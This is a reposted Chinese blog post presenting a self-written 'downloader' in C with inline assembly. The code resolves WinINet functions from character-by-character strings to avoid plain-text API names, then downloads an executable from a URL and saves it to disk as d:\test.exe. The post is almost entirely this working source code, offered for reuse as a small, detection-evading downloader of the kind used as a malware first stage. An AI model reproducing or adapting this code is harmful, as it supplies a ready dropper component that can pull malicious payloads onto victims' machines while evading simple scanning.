一个下载者代码

来源:互联网 发布:2013马刺vs热火数据 编辑:程序博客网 时间:2024/05/01 04:43

自己写的一个下载者代码,为了减小程序的体积,所以用到的一些函数使用动态加载DLL,内嵌汇编的方式调用

#include <windows.h>

//CodyBy:xets007

bool DownLoadFile(char *szUrl,char *szFile);

void main()
{
char szUrl[]="http://127.0.0.1/test.exe";
char szFile[]="d:\\test.exe";
DownLoadFile(szUrl,szFile);
}
bool DownLoadFile(char *szUrl,char *szFile)
{
char szWininet[12]={'w','i','n','i','n','e','t','.','d','l','l','\0'};
HMODULE hWininet=LoadLibrary(szWininet);
if(hWininet==NULL) return false;
char szInterOpenA[]={'I','n','t','e','r','n','e','t','O','p','e','n','A','\0'};
DWORD dwInterOpenA=(DWORD)GetProcAddress(hWininet,szInterOpenA);
char szInterOpenUrlA[]={'I','n','t','e','r','n','e','t','O','p','e','n','U','r','l','A','\0'};
DWORD dwInterOpenUrlA=(DWORD)GetProcAddress(hWininet,szInterOpenUrlA);
char szHttpQueryInfoA[]={'H','t','t','p','Q','u','e','r','y','I','n','f','o','A','\0'};
DWORD dwHttpQueryInfoA=(DWORD)GetProcAddress(hWininet,szHttpQueryInfoA);
char szInternetCloseHandle[]={'I','n','t','e','r','n','e','t','C','l','o','s','e','H','a','n','d','l','e','\0'};
DWORD dwInternetCloseHandle=(DWORD)GetProcAddress(hWininet,szInternetCloseHandle);
char szInternetReadFile[]={'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e','\0'};
DWORD dwInternetReadFile=(DWORD)GetProcAddress(hWininet,szInternetReadFile);

DWORD hInternet=NULL,hConnect=NULL;
char *szAgent="Mozilla/4.0";
_asm//InterOpenA
{
   push 0;
   push 0;
   push 0;
   push 0;
   push szAgent;
   call dwInterOpenA;
   mov hInternet,eax;
}
char *szAccept="Accept: */*\r\n\r\n";
DWORD dwFlag=0X04000000|0X00000100|0X80000000;
_asm//InteOpenUrlA
{
   push 0;
   push dwFlag;
   push -1;
   push szAccept;
   push szUrl;
   push hInternet;
   call dwInterOpenUrlA;
   mov hConnect,eax;
}
char szDataSize[32]={0};
char *szTemp=szDataSize;
DWORD dwDataSizeBufLen=32;
DWORD *pdwDWORD=&dwDataSizeBufLen;
BOOL stat;
_asm//HttpQueryInfoA
{
   push 0;
   push pdwDWORD;
   push szTemp;//为什么要转道湾,是因为编译器的缘故,不转道湾结果不正确。
   push 5;
   push hConnect;
   call dwHttpQueryInfoA;
   mov stat,eax;
}

DWORD dwRecvSize=0;
DWORD dwCurrentSize=0;
char szFileBuf[1024*8];
DWORD dwFileSize=atol(szDataSize);//先查询文件大小,如果需要显示文件下载进度时需要这个参数
HANDLE hFile=CreateFile(szFile,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE) goto end;
while(true)
{
   memset(szFileBuf,0,1024*8);
   pdwDWORD=&dwRecvSize;
   szTemp=szFileBuf;
   _asm//从网页读取文件内容
   {
    push pdwDWORD;
    push 8192;
    push szTemp;
    push hConnect;
    call dwInternetReadFile;
    mov stat,eax;
   }
   if((!stat)||dwRecvSize==0)
    break;
   dwCurrentSize+=dwRecvSize;
   DWORD dwWrite=0;
   stat=WriteFile(hFile,szFileBuf,dwRecvSize,&dwWrite,NULL);
   if(!stat)
    break;
}
CloseHandle(hFile);
end:
_asm//关闭句柄
{
   push hConnect;
   call dwInternetCloseHandle;
   push hInternet;
   call dwInternetCloseHandle;
}
if(dwCurrentSize==dwFileSize)
   return true;
else
   return false;
}


原创粉丝点击